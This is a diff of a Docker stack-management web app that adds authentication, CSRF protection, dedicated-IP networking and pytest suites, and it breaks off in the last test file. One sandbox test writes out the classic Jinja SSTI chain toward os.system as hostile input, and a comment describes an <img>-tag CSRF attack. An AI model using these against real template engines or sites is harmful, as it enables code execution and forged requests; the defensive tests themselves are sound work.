|
||||
<template x-for="n in netList" :key="n.name">
|
||||
<option :value="n.name" x-text="n.name + ' — eigen IP (' + n.subnet + ')'"></option>
|
||||
</template>
|
||||
</select>
|
||||
<template x-if="install.network">
|
||||
<div class="mt-2">
|
||||
<label class="form-label">IP-adres</label>
|
||||
<input class="form-input font-mono" x-model="install.ip" placeholder="192.168.1.240">
|
||||
<p class="text-[11px] text-dm dark:text-dm-dark mt-1">
|
||||
De stack krijgt dit adres in het LAN. Poortmappings vervallen — de app
|
||||
is bereikbaar op zijn eigen poort. Let op: de Docker-host zelf kan een
|
||||
macvlan-container niet bereiken zonder shim-interface (zie docs/netwerken.md).
|
||||
</p>
|
||||
</div>
|
||||
</template>
|
||||
<p x-show="!install.network && netList.length === 0"
|
||||
class="text-[11px] text-dm dark:text-dm-dark mt-1">
|
||||
Wil je stacks een eigen IP geven? Voeg eerst een netwerk toe bij Instellingen → Netwerken.
|
||||
</p>
|
||||
</div>
|
||||
<div x-show="install.loading" class="text-center py-6 text-dm dark:text-dm-dark"><span class="mdi mdi-loading mdi-spin"></span> Configuratie laden…</div>
|
||||
|
||||
<!-- Boilerplate fields -->
|
||||
|
|
@ -561,7 +786,18 @@ tailwind.config = {
|
|||
<label class="inline-flex items-center gap-2 cursor-pointer"><input type="checkbox" :checked="!!install.values[f.name]" @change="install.values[f.name] = $event.target.checked" class="rounded border-bd dark:border-bd-dark text-ac w-5 h-5"><span class="text-xs text-t2 dark:text-t2-dark" x-text="f.description"></span></label>
|
||||
</template>
|
||||
<template x-if="f.type === 'int'"><input type="number" class="form-input" x-model.number="install.values[f.name]" :placeholder="f.placeholder"></template>
|
||||
<template x-if="f.type === 'str'"><input class="form-input" x-model="install.values[f.name]" :placeholder="f.placeholder"></template>
|
||||
<template x-if="f.type === 'str' && !f.secret"><input class="form-input" x-model="install.values[f.name]" :placeholder="f.placeholder"></template>
|
||||
<!-- Geheim veld: genereerknop, zodat niemand 'admin123' invult -->
|
||||
<template x-if="f.type === 'str' && f.secret">
|
||||
<div class="flex gap-2">
|
||||
<input class="form-input font-mono !text-xs" x-model="install.values[f.name]" :placeholder="f.placeholder">
|
||||
<button type="button" class="btn-sm shrink-0" title="Genereer een willekeurige waarde"
|
||||
@click="install.values[f.name] = randomSecret()"><span class="mdi mdi-dice-5-outline"></span></button>
|
||||
</div>
|
||||
</template>
|
||||
<p x-show="f.port_taken" class="text-[11px] text-wr mt-1">
|
||||
Poort <span x-text="f.port_taken"></span> is al in gebruik — <span x-text="f.suggested"></span> voorgesteld.
|
||||
</p>
|
||||
<p x-show="f.description && f.type !== 'bool'" class="text-[11px] text-dm dark:text-dm-dark mt-1" x-text="f.description"></p>
|
||||
</div>
|
||||
</template>
|
||||
|
|
@ -771,7 +1007,7 @@ tailwind.config = {
|
|||
<script>
|
||||
function app() {
|
||||
return {
|
||||
version: '0.4.60',
|
||||
version: '', // komt van de server (VERSION-bestand), niet hier hardcoden
|
||||
page: location.hash.slice(1) || 'dashboard',
|
||||
isMobile: window.innerWidth < 768,
|
||||
sidebarOpen: window.innerWidth >= 768 && localStorage.getItem('sidebar') !== 'closed',
|
||||
|
|
@ -783,6 +1019,20 @@ function app() {
|
|||
toasts: [],
|
||||
modal: null,
|
||||
|
||||
// Authenticatie. De app-shell wordt pas getoond als auth.authenticated waar
|
||||
// is; tot die tijd staat het login- of setupscherm ervoor.
|
||||
auth: { ready: false, authenticated: false, user: '', needsSetup: false, mode: 'local', csrf: '' },
|
||||
loginForm: { username: '', password: '', password2: '', error: '', busy: false },
|
||||
users: [], newUser: { username: '', password: '' },
|
||||
pwForm: { current: '', new: '', new2: '' },
|
||||
|
||||
// Uitklapbaar containerpaneel per stack: { <stack>: {open, loading, items} }
|
||||
cpanel: {},
|
||||
|
||||
// Macvlan/ipvlan-netwerken waarmee stacks een eigen IP krijgen
|
||||
netList: [], netIfaces: [],
|
||||
newNet: { name: '', driver: 'macvlan', parent: '', subnet: '', gateway: '', ip_range: '' },
|
||||
|
||||
docker: { running: 0, containers: 0, images: 0 },
|
||||
stacks: [],
|
||||
stackQuery: '',
|
||||
|
|
@ -834,6 +1084,14 @@ function app() {
|
|||
});
|
||||
await this.loadLangs();
|
||||
await this.loadLang(localStorage.getItem('lang') || 'nl');
|
||||
await this.loadAuth();
|
||||
if (!this.auth.authenticated) return; // login-/setupscherm neemt het over
|
||||
await this.startApp();
|
||||
},
|
||||
|
||||
// Alles wat een ingelogde sessie vereist. Wordt ook na een succesvolle
|
||||
// login aangeroepen, zodat je niet hoeft te herladen.
|
||||
async startApp() {
|
||||
await this.checkWizard();
|
||||
await this.loadDocker();
|
||||
await this.loadModules();
|
||||
|
|
@ -903,7 +1161,7 @@ function app() {
|
|||
},
|
||||
async deleteLang(code) {
|
||||
if (!confirm(this.t('delete_language_confirm') || ('Taal '+code+' verwijderen?'))) return;
|
||||
const d = await fetch('/api/i18n/'+code, { method:'DELETE' }).then(r=>r.json()).catch(()=>({}));
|
||||
const d = await this.req('/api/i18n/'+code, { method:'DELETE' });
|
||||
if (d.ok) {
|
||||
this.toast(d.msg || this.t('deleted'), 'ok');
|
||||
if (localStorage.getItem('lang') === code) this.setLang('nl');
|
||||
|
|
@ -916,11 +1174,92 @@ function app() {
|
|||
this.toasts.push({id, msg, kind});
|
||||
setTimeout(() => this.toasts = this.toasts.filter(t=>t.id!==id), 2500);
|
||||
},
|
||||
async rpc(url, body) {
|
||||
// ── Authenticatie ────────────────────────────────────────────────────────
|
||||
async loadAuth() {
|
||||
try {
|
||||
const o = body !== undefined ? { method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify(body) } : {};
|
||||
return await (await fetch(url, o)).json();
|
||||
} catch(e) { return { error: e.message }; }
|
||||
const d = await (await fetch('/api/auth/me')).json();
|
||||
this.auth = { ready: true, authenticated: !!d.authenticated, user: d.user || '',
|
||||
needsSetup: !!d.needs_setup, mode: d.mode || 'local',
|
||||
csrf: d.csrf_token || '' };
|
||||
if (d.version) this.version = d.version;
|
||||
} catch(e) {
|
||||
this.auth = { ...this.auth, ready: true, authenticated: false };
|
||||
}
|
||||
},
|
||||
async doLogin() {
|
||||
this.loginForm.error = ''; this.loginForm.busy = true;
|
||||
const d = await this.req('/api/auth/login', { method:'POST', json: {
|
||||
username: this.loginForm.username, password: this.loginForm.password } });
|
||||
this.loginForm.busy = false;
|
||||
if (!d.ok) { this.loginForm.error = d.msg || 'Inloggen mislukt'; return; }
|
||||
this.auth.authenticated = true;
|
||||
this.auth.user = d.user; this.auth.csrf = d.csrf_token || '';
|
||||
this.loginForm = { username:'', password:'', password2:'', error:'', busy:false };
|
||||
await this.startApp();
|
||||
},
|
||||
async doSetup() {
|
||||
this.loginForm.error = '';
|
||||
if (this.loginForm.password !== this.loginForm.password2) {
|
||||
this.loginForm.error = 'De wachtwoorden komen niet overeen.'; return;
|
||||
}
|
||||
this.loginForm.busy = true;
|
||||
const d = await this.req('/api/auth/setup', { method:'POST', json: {
|
||||
username: this.loginForm.username, password: this.loginForm.password } });
|
||||
this.loginForm.busy = false;
|
||||
if (!d.ok) { this.loginForm.error = d.msg || 'Aanmaken mislukt'; return; }
|
||||
this.auth.authenticated = true; this.auth.needsSetup = false;
|
||||
this.auth.user = this.loginForm.username; this.auth.csrf = d.csrf_token || '';
|
||||
this.loginForm = { username:'', password:'', password2:'', error:'', busy:false };
|
||||
await this.startApp();
|
||||
},
|
||||
async logout() {
|
||||
await this.req('/api/auth/logout', { method:'POST', json: {} });
|
||||
this.auth.authenticated = false; this.auth.user = ''; this.auth.csrf = '';
|
||||
},
|
||||
async loadUsers() { const d = await this.rpc('/api/auth/users'); this.users = d.users || []; },
|
||||
async addUser() {
|
||||
const d = await this.req('/api/auth/users', { method:'POST', json: this.newUser });
|
||||
this.toast(d.msg || (d.ok ? 'Toegevoegd' : 'Fout'), d.ok ? 'ok' : 'er');
|
||||
if (d.ok) { this.newUser = { username:'', password:'' }; this.loadUsers(); }
|
||||
},
|
||||
async delUser(name) {
|
||||
if (!confirm('Gebruiker ' + name + ' verwijderen?')) return;
|
||||
const d = await this.req('/api/auth/users/' + encodeURIComponent(name), { method:'DELETE' });
|
||||
this.toast(d.msg || (d.ok ? 'Verwijderd' : 'Fout'), d.ok ? 'ok' : 'er');
|
||||
this.loadUsers();
|
||||
},
|
||||
async changePassword() {
|
||||
if (this.pwForm.new !== this.pwForm.new2) { this.toast('Wachtwoorden komen niet overeen', 'er'); return; }
|
||||
const d = await this.req('/api/auth/password', { method:'POST', json: {
|
||||
current: this.pwForm.current, new: this.pwForm.new } });
|
||||
this.toast(d.msg || (d.ok ? 'Gewijzigd' : 'Fout'), d.ok ? 'ok' : 'er');
|
||||
if (d.ok) this.pwForm = { current:'', new:'', new2:'' };
|
||||
},
|
||||
|
||||
// Centrale fetch: voegt het CSRF-token toe aan elke mutatie en stuurt de
|
||||
// gebruiker terug naar het loginscherm zodra de sessie verlopen is.
|
||||
async req(url, { method = 'GET', json } = {}) {
|
||||
const opts = { method, headers: {} };
|
||||
if (json !== undefined) {
|
||||
opts.headers['Content-Type'] = 'application/json';
|
||||
opts.body = JSON.stringify(json);
|
||||
}
|
||||
if (method !== 'GET' && method !== 'HEAD') {
|
||||
opts.headers['X-CSRF-Token'] = this.auth.csrf;
|
||||
}
|
||||
try {
|
||||
const r = await fetch(url, opts);
|
||||
if (r.status === 401) {
|
||||
this.auth.authenticated = false;
|
||||
await this.loadAuth();
|
||||
return { ok: false, msg: 'Sessie verlopen — log opnieuw in' };
|
||||
}
|
||||
return await r.json();
|
||||
} catch(e) { return { ok: false, error: e.message, msg: e.message }; }
|
||||
},
|
||||
async rpc(url, body) {
|
||||
return body !== undefined ? this.req(url, { method:'POST', json: body })
|
||||
: this.req(url);
|
||||
},
|
||||
|
||||
goto(id) {
|
||||
|
|
@ -978,11 +1317,74 @@ function app() {
|
|||
this.modal = 'editor';
|
||||
},
|
||||
async saveEditor() {
|
||||
const r = await fetch(`/api/stacks/${encodeURIComponent(this.editor.stack)}/${this.editor.type}`,
|
||||
{ method:'PUT', headers:{'Content-Type':'application/json'}, body: JSON.stringify({ content: this.editor.content }) });
|
||||
if (r.ok) { this.toast('Opgeslagen', 'ok'); this.modal=null; }
|
||||
else this.toast('Fout bij opslaan', 'er');
|
||||
const d = await this.req(`/api/stacks/${encodeURIComponent(this.editor.stack)}/${this.editor.type}`,
|
||||
{ method:'PUT', json: { content: this.editor.content } });
|
||||
if (d.ok) { this.toast('Opgeslagen', 'ok'); this.modal=null; }
|
||||
else this.toast(d.msg || 'Fout bij opslaan', 'er');
|
||||
},
|
||||
// ── Netwerken ────────────────────────────────────────────────────────────
|
||||
async loadNetworks() {
|
||||
const d = await this.rpc('/api/networks');
|
||||
this.netList = d.networks || [];
|
||||
this.netIfaces = d.interfaces || [];
|
||||
},
|
||||
// Vul automatisch het eerstvolgende vrije adres in als je een netwerk kiest.
|
||||
pickIp() {
|
||||
const n = this.netList.find(x => x.name === this.install.network);
|
||||
this.install.ip = n ? (n.next_ip || '') : '';
|
||||
},
|
||||
async addNetwork() {
|
||||
const d = await this.rpc('/api/networks', this.newNet);
|
||||
this.toast(d.msg || (d.ok ? 'Aangemaakt' : 'Fout'), d.ok ? 'ok' : 'er');
|
||||
if (d.ok) {
|
||||
this.newNet = { name:'', driver:'macvlan', parent:'', subnet:'', gateway:'', ip_range:'' };
|
||||
this.modal = null;
|
||||
this.loadNetworks();
|
||||
}
|
||||
},
|
||||
async deleteNetwork(name) {
|
||||
if (!confirm('Netwerk ' + name + ' verwijderen?')) return;
|
||||
const d = await this.req('/api/networks/' + encodeURIComponent(name), { method:'DELETE' });
|
||||
this.toast(d.msg || (d.ok ? 'Verwijderd' : 'Fout'), d.ok ? 'ok' : 'er');
|
||||
this.loadNetworks();
|
||||
},
|
||||
|
||||
// Cryptografisch willekeurige waarde voor admin-tokens en wachtwoorden.
|
||||
// Lokaal gegenereerd, dus het geheim gaat niet heen en weer over het net.
|
||||
randomSecret(bytes = 24) {
|
||||
const buf = new Uint8Array(bytes);
|
||||
crypto.getRandomValues(buf);
|
||||
return btoa(String.fromCharCode(...buf))
|
||||
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
|
||||
},
|
||||
|
||||
// ── Containers binnen een stack ──────────────────────────────────────────
|
||||
async toggleContainers(stack) {
|
||||
const cur = this.cpanel[stack] || { open: false, loading: false, items: [] };
|
||||
if (cur.open) { this.cpanel = { ...this.cpanel, [stack]: { ...cur, open: false } }; return; }
|
||||
this.cpanel = { ...this.cpanel, [stack]: { ...cur, open: true, loading: true } };
|
||||
await this.loadContainers(stack);
|
||||
},
|
||||
async loadContainers(stack) {
|
||||
const d = await this.rpc(`/api/stacks/${encodeURIComponent(stack)}/containers`);
|
||||
const cur = this.cpanel[stack] || { open: true };
|
||||
this.cpanel = { ...this.cpanel,
|
||||
[stack]: { ...cur, loading: false, items: d.containers || [] } };
|
||||
},
|
||||
async containerAction(stack, container, action) {
|
||||
const d = await this.rpc(
|
||||
`/api/stacks/${encodeURIComponent(stack)}/containers/${encodeURIComponent(container)}/${action}`, {});
|
||||
this.toast(d.ok ? this.t(action) + ' ✓' : (d.msg || 'Fout'), d.ok ? 'ok' : 'er');
|
||||
await this.loadContainers(stack);
|
||||
this.loadStacks();
|
||||
},
|
||||
async openContainerLogs(stack, container) {
|
||||
const d = await this.rpc(
|
||||
`/api/stacks/${encodeURIComponent(stack)}/containers/${encodeURIComponent(container)}/logs`);
|
||||
this.logs = { title: container + ' · logs', content: d.logs || '(geen output)' };
|
||||
this.modal = 'logs';
|
||||
},
|
||||
|
||||
async openLogs(name) {
|
||||
const d = await this.rpc(`/api/stacks/${encodeURIComponent(name)}/logs`);
|
||||
this.logs = { title: name+' · logs', content: d.logs || '(geen output)' };
|
||||
|
|
@ -1005,7 +1407,7 @@ function app() {
|
|||
async syncAllRepos() { for (const r of this.repos) await this.syncRepo(r.id); },
|
||||
async deleteRepo(rid) {
|
||||
if (!confirm('Repository verwijderen?')) return;
|
||||
await fetch(`/api/repos/${rid}`, { method:'DELETE' });
|
||||
await this.req(`/api/repos/${encodeURIComponent(rid)}`, { method:'DELETE' });
|
||||
this.toast('Verwijderd', 'ok');
|
||||
this.loadAppStore();
|
||||
},
|
||||
|
|
@ -1022,9 +1424,11 @@ function app() {
|
|||
format: stack.format === 'boilerplate' ? 'boilerplate' : 'compose',
|
||||
loading: true,
|
||||
envVars: [], images: [], envOverrides: {}, imageTags: {},
|
||||
fields: [], values: {}, preview_files: {}
|
||||
fields: [], values: {}, preview_files: {},
|
||||
network: '', ip: ''
|
||||
};
|
||||
this.modal = 'install';
|
||||
if (!this.netList.length) await this.loadNetworks();
|
||||
const d = await this.rpc('/api/store/preview', { stack: this.install.stack, repo_id: rid });
|
||||
this.install.loading = false;
|
||||
if (!d.ok) { this.toast(d.msg || 'Preview faalde', 'er'); this.modal = null; return; }
|
||||
|
|
@ -1078,6 +1482,7 @@ function app() {
|
|||
repo_id: this.install.repo_id,
|
||||
instance: this.install.instance || this.install.stack,
|
||||
};
|
||||
if (this.install.network) { body.network = this.install.network; body.ip = this.install.ip; }
|
||||
if (this.install.format === 'boilerplate') body.values = this.install.values;
|
||||
else { body.env_overrides = this.install.envOverrides; body.image_tags = this.install.imageTags; }
|
||||
const d = await this.rpc('/api/store/install', body);
|
||||
|
|
@ -1108,12 +1513,17 @@ function app() {
|
|||
this.loadAudit();
|
||||
},
|
||||
|
||||
async loadSettings() { const d = await this.rpc('/api/settings'); this.settings = d || {}; await this.loadAppStore(); },
|
||||
async loadSettings() {
|
||||
const d = await this.rpc('/api/settings'); this.settings = d || {};
|
||||
await this.loadAppStore();
|
||||
await this.loadUsers();
|
||||
await this.loadNetworks();
|
||||
},
|
||||
autoSave() {
|
||||
if (this.saveTimer) clearTimeout(this.saveTimer);
|
||||
this.saveTimer = setTimeout(async () => {
|
||||
const body = { ...this.settings, LANGUAGE: this.settings.LANGUAGE, THEME: this.theme };
|
||||
await fetch('/api/settings', { method:'PUT', headers:{'Content-Type':'application/json'}, body: JSON.stringify(body) });
|
||||
await this.req('/api/settings', { method:'PUT', json: body });
|
||||
this.saved = true; setTimeout(() => this.saved = false, 1500);
|
||||
}, 400);
|
||||
},
|
||||
|
|
|
|||
61
tests/conftest.py
Normal file
61
tests/conftest.py
Normal file
|
|
@ -0,0 +1,61 @@
|
|||
"""Gedeelde fixtures. Elke test krijgt een eigen /data-map, zodat de suite
|
||||
nooit de echte config.json, audit-db of git-cache van een draaiende instantie
|
||||
raakt."""
|
||||
import importlib
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
APP_DIR = Path(__file__).resolve().parent.parent / "server-up"
|
||||
if str(APP_DIR) not in sys.path:
|
||||
sys.path.insert(0, str(APP_DIR))
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def env(tmp_path, monkeypatch):
|
||||
"""Verse omgeving: config, audit-db, git-cache en secret in tmp_path."""
|
||||
data = tmp_path / "data"
|
||||
data.mkdir()
|
||||
lib = tmp_path / "stacks"
|
||||
lib.mkdir()
|
||||
monkeypatch.setenv("SU_CONFIG", str(data / "config.json"))
|
||||
monkeypatch.setenv("SU_AUDIT", str(data / "audit.db"))
|
||||
monkeypatch.setenv("SU_GIT_CACHE", str(data / "git"))
|
||||
monkeypatch.setenv("SU_SECRET", str(data / "secret.key"))
|
||||
monkeypatch.setenv("LIBRARY_DIR", str(lib))
|
||||
monkeypatch.setenv("DATA_DIR", str(tmp_path / "appdata"))
|
||||
monkeypatch.setenv("BACKUP_DIR", str(tmp_path / "backups"))
|
||||
|
||||
# Modules opnieuw importeren zodat ze de nieuwe paden oppikken.
|
||||
for name in list(sys.modules):
|
||||
if name == "core" or name.startswith("core.") or name == "app":
|
||||
del sys.modules[name]
|
||||
core = importlib.import_module("core")
|
||||
core._path = Path(data / "config.json")
|
||||
return {"data": data, "lib": lib, "tmp": tmp_path, "core": core}
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def client(env, monkeypatch):
|
||||
"""Flask-testclient met een aangemaakt account en geldige sessie."""
|
||||
import app as app_module
|
||||
app_module.app.config["TESTING"] = True
|
||||
c = app_module.app.test_client()
|
||||
return c
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def anon_client(env):
|
||||
"""Testclient zonder sessie."""
|
||||
import app as app_module
|
||||
app_module.app.config["TESTING"] = True
|
||||
return app_module.app.test_client()
|
||||
|
||||
|
||||
def login(client, username="tester", password="hunter2hunter2"):
|
||||
"""Maak het eerste account aan en retourneer het CSRF-token."""
|
||||
r = client.post("/api/auth/setup",
|
||||
json={"username": username, "password": password})
|
||||
assert r.status_code == 200, r.get_json()
|
||||
return r.get_json()["csrf_token"]
|
||||
121
tests/test_auth.py
Normal file
121
tests/test_auth.py
Normal file
|
|
@ -0,0 +1,121 @@
|
|||
"""Authenticatie: guard, CSRF, lockout en de trusted-proxy-header."""
|
||||
import pytest
|
||||
|
||||
from conftest import login
|
||||
|
||||
|
||||
def test_api_vereist_login(anon_client):
|
||||
r = anon_client.get("/api/stacks")
|
||||
assert r.status_code == 401
|
||||
assert r.get_json()["needs_setup"] is True
|
||||
|
||||
|
||||
def test_index_en_healthz_zijn_publiek(anon_client):
|
||||
assert anon_client.get("/healthz").status_code == 200
|
||||
assert anon_client.get("/").status_code == 200
|
||||
|
||||
|
||||
def test_setup_maakt_account_en_kan_niet_herhaald_worden(anon_client):
|
||||
login(anon_client)
|
||||
r = anon_client.post("/api/auth/setup",
|
||||
json={"username": "tweede", "password": "hunter2hunter2"})
|
||||
assert r.status_code == 409
|
||||
|
||||
|
||||
def test_setup_weigert_kort_wachtwoord(anon_client):
|
||||
r = anon_client.post("/api/auth/setup",
|
||||
json={"username": "tester", "password": "kort"})
|
||||
assert r.status_code == 400
|
||||
assert "10 tekens" in r.get_json()["msg"]
|
||||
|
||||
|
||||
def test_login_en_logout(client):
|
||||
login(client)
|
||||
client.post("/api/auth/logout", json={},
|
||||
headers={"X-CSRF-Token": _csrf(client)})
|
||||
assert client.get("/api/stacks").status_code == 401
|
||||
|
||||
r = client.post("/api/auth/login",
|
||||
json={"username": "tester", "password": "hunter2hunter2"})
|
||||
assert r.status_code == 200
|
||||
assert client.get("/api/stacks").status_code == 200
|
||||
|
||||
|
||||
def test_verkeerd_wachtwoord_wordt_geweigerd(client):
|
||||
login(client)
|
||||
client.post("/api/auth/logout", json={}, headers={"X-CSRF-Token": _csrf(client)})
|
||||
r = client.post("/api/auth/login",
|
||||
json={"username": "tester", "password": "verkeerdverkeerd"})
|
||||
assert r.status_code == 401
|
||||
|
||||
|
||||
def test_lockout_na_herhaalde_pogingen(client):
|
||||
import core.auth as auth
|
||||
login(client)
|
||||
for _ in range(5):
|
||||
auth.check_login("tester", "foutfoutfout")
|
||||
ok, msg = auth.check_login("tester", "hunter2hunter2")
|
||||
assert not ok
|
||||
assert "Te veel mislukte pogingen" in msg
|
||||
|
||||
|
||||
def test_mutatie_zonder_csrf_token_wordt_geweigerd(client):
|
||||
login(client)
|
||||
r = client.post("/api/docker/restart", json={})
|
||||
assert r.status_code == 403
|
||||
assert "CSRF" in r.get_json()["msg"]
|
||||
|
||||
|
||||
def test_mutatie_met_verkeerd_csrf_token_wordt_geweigerd(client):
|
||||
login(client)
|
||||
r = client.post("/api/docker/restart", json={},
|
||||
headers={"X-CSRF-Token": "niet-het-echte-token"})
|
||||
assert r.status_code == 403
|
||||
|
||||
|
||||
def test_state_wijzigende_routes_weigeren_get(client):
|
||||
"""Zonder deze regel volstond <img src=".../api/docker/restart"> op een
|
||||
willekeurige website om de container te herstarten."""
|
||||
login(client)
|
||||
for path in ("/api/docker/restart", "/api/wizard/complete",
|
||||
"/api/wizard/reset", "/api/wizard/sync",
|
||||
"/api/repos/server-up/sync"):
|
||||
assert client.get(path).status_code == 405, path
|
||||
|
||||
|
||||
def test_proxy_header_alleen_vanaf_vertrouwd_ip(client, env):
|
||||
core = env["core"]
|
||||
import core.auth as auth
|
||||
a = auth.settings()
|
||||
a.update({"mode": "both", "proxy_header": "Remote-User",
|
||||
"trusted_proxies": ["10.9.9.9"]})
|
||||
core.patch({"AUTH": a})
|
||||
|
||||
# Niet-vertrouwd bron-IP: header wordt genegeerd.
|
||||
r = client.get("/api/stacks", headers={"Remote-User": "indringer"},
|
||||
environ_overrides={"REMOTE_ADDR": "10.1.1.1"})
|
||||
assert r.status_code == 401
|
||||
|
||||
# Vertrouwde proxy: identiteit wordt geaccepteerd.
|
||||
r = client.get("/api/stacks", headers={"Remote-User": "collega"},
|
||||
environ_overrides={"REMOTE_ADDR": "10.9.9.9"})
|
||||
assert r.status_code == 200
|
||||
|
||||
|
||||
def test_proxy_modus_vereist_trusted_proxies(client):
|
||||
csrf = login(client)
|
||||
r = client.put("/api/auth/mode", json={"mode": "proxy", "trusted_proxies": []},
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
assert r.status_code == 400
|
||||
|
||||
|
||||
def test_wachtwoordhash_is_niet_omkeerbaar():
|
||||
import core.auth as auth
|
||||
rec = auth.hash_password("hunter2hunter2")
|
||||
assert "hunter2hunter2" not in str(rec)
|
||||
assert auth.verify_password("hunter2hunter2", rec)
|
||||
assert not auth.verify_password("hunter2hunter3", rec)
|
||||
|
||||
|
||||
def _csrf(client):
|
||||
return client.get("/api/auth/me").get_json()["csrf_token"]
|
||||
103
tests/test_boilerplates.py
Normal file
103
tests/test_boilerplates.py
Normal file
|
|
@ -0,0 +1,103 @@
|
|||
"""Boilerplate-rendering: de sandbox, en de YAML-opruiming die conditionele
|
||||
blokken achterlaten."""
|
||||
import json
|
||||
|
||||
import pytest
|
||||
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "server-up"))
|
||||
|
||||
from core import boilerplates as bp
|
||||
|
||||
|
||||
def _maak_boilerplate(tmp_path, compose: str, variables=None) -> Path:
|
||||
d = tmp_path / "stack"
|
||||
(d / "files").mkdir(parents=True)
|
||||
(d / "template.json").write_text(json.dumps({
|
||||
"kind": "compose",
|
||||
"metadata": {"name": "Test", "description": "", "tags": []},
|
||||
"variables": variables if variables is not None else [{
|
||||
"title": "Algemeen",
|
||||
"items": [
|
||||
{"name": "service_name", "type": "str", "default": "test"},
|
||||
{"name": "port", "type": "int", "default": 8080},
|
||||
{"name": "admin", "type": "bool", "default": False},
|
||||
],
|
||||
}],
|
||||
}), encoding="utf-8")
|
||||
(d / "files" / "compose.yaml").write_text(compose, encoding="utf-8")
|
||||
return d
|
||||
|
||||
|
||||
def test_render_vult_variabelen_in(tmp_path):
|
||||
src = _maak_boilerplate(tmp_path, "services:\n << service_name >>:\n image: nginx\n"
|
||||
" ports:\n - \"<< port >>:80\"\n")
|
||||
dest = tmp_path / "out"
|
||||
bp.render_to_dir(src, dest, {"service_name": "web", "port": 9090})
|
||||
tekst = (dest / "docker-compose.yml").read_text()
|
||||
assert "web:" in tekst
|
||||
assert '"9090:80"' in tekst
|
||||
|
||||
|
||||
def test_conditioneel_blok_wordt_overgeslagen(tmp_path):
|
||||
src = _maak_boilerplate(
|
||||
tmp_path,
|
||||
"services:\n app:\n image: nginx\n"
|
||||
" environment:\n"
|
||||
"<% if admin %>\n - ADMIN=1\n<% endif %>\n")
|
||||
dest = tmp_path / "out"
|
||||
bp.render_to_dir(src, dest, {"admin": False})
|
||||
tekst = (dest / "docker-compose.yml").read_text()
|
||||
assert "ADMIN" not in tekst
|
||||
# `environment:` zonder inhoud is ongeldige YAML en moet weg zijn.
|
||||
assert "environment:" not in tekst
|
||||
|
||||
|
||||
def test_lege_mapping_aan_einde_verdwijnt():
|
||||
assert bp._drop_empty_mappings("services:\n app:\n image: x\n volumes:\n") \
|
||||
== "services:\n app:\n image: x\n"
|
||||
|
||||
|
||||
def test_gevulde_mapping_blijft_staan():
|
||||
tekst = "services:\n app:\n image: x\n"
|
||||
assert bp._drop_empty_mappings(tekst) == tekst
|
||||
|
||||
|
||||
def test_sandbox_geeft_geen_python_internals_prijs(tmp_path):
|
||||
"""Templates komen uit externe git-repo's en worden al gerenderd in
|
||||
/api/store/preview. De sandbox levert Undefined (leeg) voor afgeschermde
|
||||
attributen, zodat er nooit een echt Python-object in het resultaat komt."""
|
||||
src = _maak_boilerplate(tmp_path, "x: << service_name.__class__ >>\n")
|
||||
bp.render_to_dir(src, tmp_path / "out", {"service_name": "web"})
|
||||
tekst = (tmp_path / "out" / "docker-compose.yml").read_text()
|
||||
# `x:` blijft leeg achter en wordt daarna door _drop_empty_mappings opgeruimd.
|
||||
assert tekst.strip() == ""
|
||||
assert "class" not in tekst
|
||||
|
||||
|
||||
def test_sandbox_laat_aanroep_van_internals_falen(tmp_path):
|
||||
"""De klassieke SSTI-keten faalt hard in plaats van de subclass-lijst —
|
||||
en daarmee een weg naar os.system — op te leveren."""
|
||||
src = _maak_boilerplate(
|
||||
tmp_path, "x: << ''.__class__.__mro__[1].__subclasses__() >>\n")
|
||||
with pytest.raises(bp.BoilerplateError):
|
||||
bp.render_to_dir(src, tmp_path / "out", {})
|
||||
|
||||
|
||||
def test_normale_filters_blijven_werken(tmp_path):
|
||||
"""De sandbox mag de bestaande templates niet breken — vaultwarden gebruikt
|
||||
bijvoorbeeld `<< signups_allowed | lower >>`."""
|
||||
src = _maak_boilerplate(
|
||||
tmp_path, "a: << service_name | upper >>\nb: << admin | lower >>\n")
|
||||
bp.render_to_dir(src, tmp_path / "out", {"service_name": "web", "admin": True})
|
||||
tekst = (tmp_path / "out" / "docker-compose.yml").read_text()
|
||||
assert "a: WEB" in tekst
|
||||
assert "b: true" in tekst
|
||||
|
||||
|
||||
def test_is_boilerplate_herkent_layout(tmp_path):
|
||||
src = _maak_boilerplate(tmp_path, "services: {}\n")
|
||||
assert bp.is_boilerplate(src)
|
||||
assert not bp.is_boilerplate(tmp_path)
|
||||
86
tests/test_compose_transform.py
Normal file
86
tests/test_compose_transform.py
Normal file
|
|
@ -0,0 +1,86 @@
|
|||
"""Poorten → eigen IP-adres (macvlan/ipvlan)."""
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
import yaml
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "server-up"))
|
||||
|
||||
from core import compose_transform as ct
|
||||
|
||||
BASIS = """\
|
||||
services:
|
||||
vaultwarden:
|
||||
image: vaultwarden/server:latest
|
||||
ports:
|
||||
- "8222:80"
|
||||
volumes:
|
||||
- /data:/data
|
||||
"""
|
||||
|
||||
|
||||
def test_poorten_verdwijnen_en_ip_wordt_toegekend():
|
||||
doc = yaml.safe_load(ct.to_dedicated_ip(BASIS, "lan", "192.168.1.240"))
|
||||
svc = doc["services"]["vaultwarden"]
|
||||
assert "ports" not in svc
|
||||
assert svc["networks"] == {"lan": {"ipv4_address": "192.168.1.240"}}
|
||||
assert doc["networks"] == {"lan": {"external": True}}
|
||||
|
||||
|
||||
def test_overige_instellingen_blijven_intact():
|
||||
doc = yaml.safe_load(ct.to_dedicated_ip(BASIS, "lan", "192.168.1.240"))
|
||||
svc = doc["services"]["vaultwarden"]
|
||||
assert svc["image"] == "vaultwarden/server:latest"
|
||||
assert svc["volumes"] == ["/data:/data"]
|
||||
|
||||
|
||||
def test_alleen_de_publicerende_service_krijgt_het_ip():
|
||||
tekst = """\
|
||||
services:
|
||||
db:
|
||||
image: postgres
|
||||
web:
|
||||
image: nginx
|
||||
ports:
|
||||
- "8080:80"
|
||||
"""
|
||||
doc = yaml.safe_load(ct.to_dedicated_ip(tekst, "lan", "10.0.0.5"))
|
||||
